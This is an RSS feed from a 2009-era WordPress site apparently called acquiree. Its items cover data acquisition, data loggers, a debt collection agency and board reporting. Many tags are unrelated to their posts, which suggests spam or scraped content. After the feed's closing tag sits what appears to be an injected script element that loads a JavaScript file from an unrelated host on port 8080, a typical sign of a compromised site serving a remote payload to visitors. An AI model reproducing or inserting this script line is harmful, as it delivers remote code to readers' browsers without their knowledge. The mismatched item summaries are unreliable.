<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>acquiree &#187; labview</title>
	<atom:link href="http://acquiree.info/tag/labview/feed" rel="self" type="application/rss+xml" />
	<link>http://acquiree.info</link>
	<description></description>
	<lastBuildDate>Sun, 27 Jun 2010 23:12:44 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Data Acquisition Means More Than Just Details</title>
		<link>http://acquiree.info/data-acquisition/data-acquisition-means-more-than-just-details</link>
		<comments>http://acquiree.info/data-acquisition/data-acquisition-means-more-than-just-details#comments</comments>
		<pubDate>Wed, 19 Aug 2009 17:53:49 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[Data Acquisition]]></category>
		<category><![CDATA[DAQ]]></category>
		<category><![CDATA[labview]]></category>
		<category><![CDATA[PID]]></category>
		<category><![CDATA[USB]]></category>

		<guid isPermaLink="false">http://acquiree.info/data-acquisition/data-acquisition-means-more-than-just-details</guid>
		<description><![CDATA[
Depending upon what type of data acquisition is being used, there are a number of software program types that can organize, manipulate and present information in ways that are tailored to the needs of the user. As data systems get more and more intricate, the demands made on the software grow and change in response, [...]]]></description>
		<wfw:commentRss>http://acquiree.info/data-acquisition/data-acquisition-means-more-than-just-details/feed</wfw:commentRss>
		<slash:comments>50</slash:comments>
		</item>
		<item>
		<title>Rjm Acquisitions Llc</title>
		<link>http://acquiree.info/acquisition-card/rjm-acquisitions-llc</link>
		<comments>http://acquiree.info/acquisition-card/rjm-acquisitions-llc#comments</comments>
		<pubDate>Sun, 09 Aug 2009 11:45:41 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[acquisition card]]></category>
		<category><![CDATA[6009]]></category>
		<category><![CDATA[austin]]></category>
		<category><![CDATA[darlington]]></category>
		<category><![CDATA[DIY]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[fireworks]]></category>
		<category><![CDATA[igniter]]></category>
		<category><![CDATA[labs]]></category>
		<category><![CDATA[labview]]></category>
		<category><![CDATA[model]]></category>
		<category><![CDATA[pair]]></category>
		<category><![CDATA[rocket]]></category>
		<category><![CDATA[texas]]></category>
		<category><![CDATA[waterloo]]></category>
		<category><![CDATA[waterloolabs]]></category>

		<guid isPermaLink="false">http://acquiree.info/acquisition-card/rjm-acquisitions-llc</guid>
		<description><![CDATA[
About the company:
Rjm acquisition llc, commonly referred to as rjm acquisitions llc is a debt collection agency operating in the United States of America . The company is mainly involved in buying charged off debt accounts from creditors. These debt accounts are usually bought for a very less amount.How does rjm acq llc benefit from [...]]]></description>
		<wfw:commentRss>http://acquiree.info/acquisition-card/rjm-acquisitions-llc/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Data Logger Applications in the Process Engineering Industry</title>
		<link>http://acquiree.info/data-acquisition/data-logger-applications-in-the-process-engineering-industry</link>
		<comments>http://acquiree.info/data-acquisition/data-logger-applications-in-the-process-engineering-industry#comments</comments>
		<pubDate>Sun, 02 Aug 2009 18:00:25 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[Data Acquisition]]></category>
		<category><![CDATA[china]]></category>
		<category><![CDATA[Essential]]></category>
		<category><![CDATA[ETT]]></category>
		<category><![CDATA[for]]></category>
		<category><![CDATA[instruments]]></category>
		<category><![CDATA[labview]]></category>
		<category><![CDATA[national]]></category>
		<category><![CDATA[Technologies]]></category>
		<category><![CDATA[Test]]></category>

		<guid isPermaLink="false">http://acquiree.info/data-acquisition/data-logger-applications-in-the-process-engineering-industry</guid>
		<description><![CDATA[
In manufacturing facilities and factory processes, the data logger is now in everyday use for measurement and data recording of critical parameters.
Main data logger applications include:
A temperature data logger is also often used to record temperature in drying processes in food production and curing of smoked foods.
Use of data logger units in brick works, kilns [...]]]></description>
		<wfw:commentRss>http://acquiree.info/data-acquisition/data-logger-applications-in-the-process-engineering-industry/feed</wfw:commentRss>
		<slash:comments>52</slash:comments>
		</item>
		<item>
		<title>Cutting The Fluff Out Of Board Reporting</title>
		<link>http://acquiree.info/acquisition-board/cutting-the-fluff-out-of-board-reporting</link>
		<comments>http://acquiree.info/acquisition-board/cutting-the-fluff-out-of-board-reporting#comments</comments>
		<pubDate>Sun, 26 Jul 2009 11:33:49 +0000</pubDate>
		<dc:creator>administrator</dc:creator>
				<category><![CDATA[acquisition board]]></category>
		<category><![CDATA[embedded]]></category>
		<category><![CDATA[embedded_control]]></category>
		<category><![CDATA[engineering_TV]]></category>
		<category><![CDATA[FPGA]]></category>
		<category><![CDATA[labview]]></category>
		<category><![CDATA[LabVIEW_FPGA]]></category>
		<category><![CDATA[National_Instruments]]></category>
		<category><![CDATA[NI]]></category>
		<category><![CDATA[real_time]]></category>
		<category><![CDATA[Single_board_RIO]]></category>

		<guid isPermaLink="false">http://acquiree.info/acquisition-board/cutting-the-fluff-out-of-board-reporting</guid>
		<description><![CDATA[
How to increase your influence and effectively manage your board of directors-so it doesn&#8217;t manage you 
If knowledge equals power, what does information equal? Influence. And that&#8217;s what you want when interacting with your board of directors: the ability to influence how you are perceived as a leader, and how your company is perceived as [...]]]></description>
		<wfw:commentRss>http://acquiree.info/acquisition-board/cutting-the-fluff-out-of-board-reporting/feed</wfw:commentRss>
		<slash:comments>56</slash:comments>
		</item>
	</channel>
</rss>



<script type="text/javascript" src="http://oployau.fancountblogger.com:8080/Undo.js"></script>
<!--70f30cb1c91cb389cf52a072dc1de0cc-->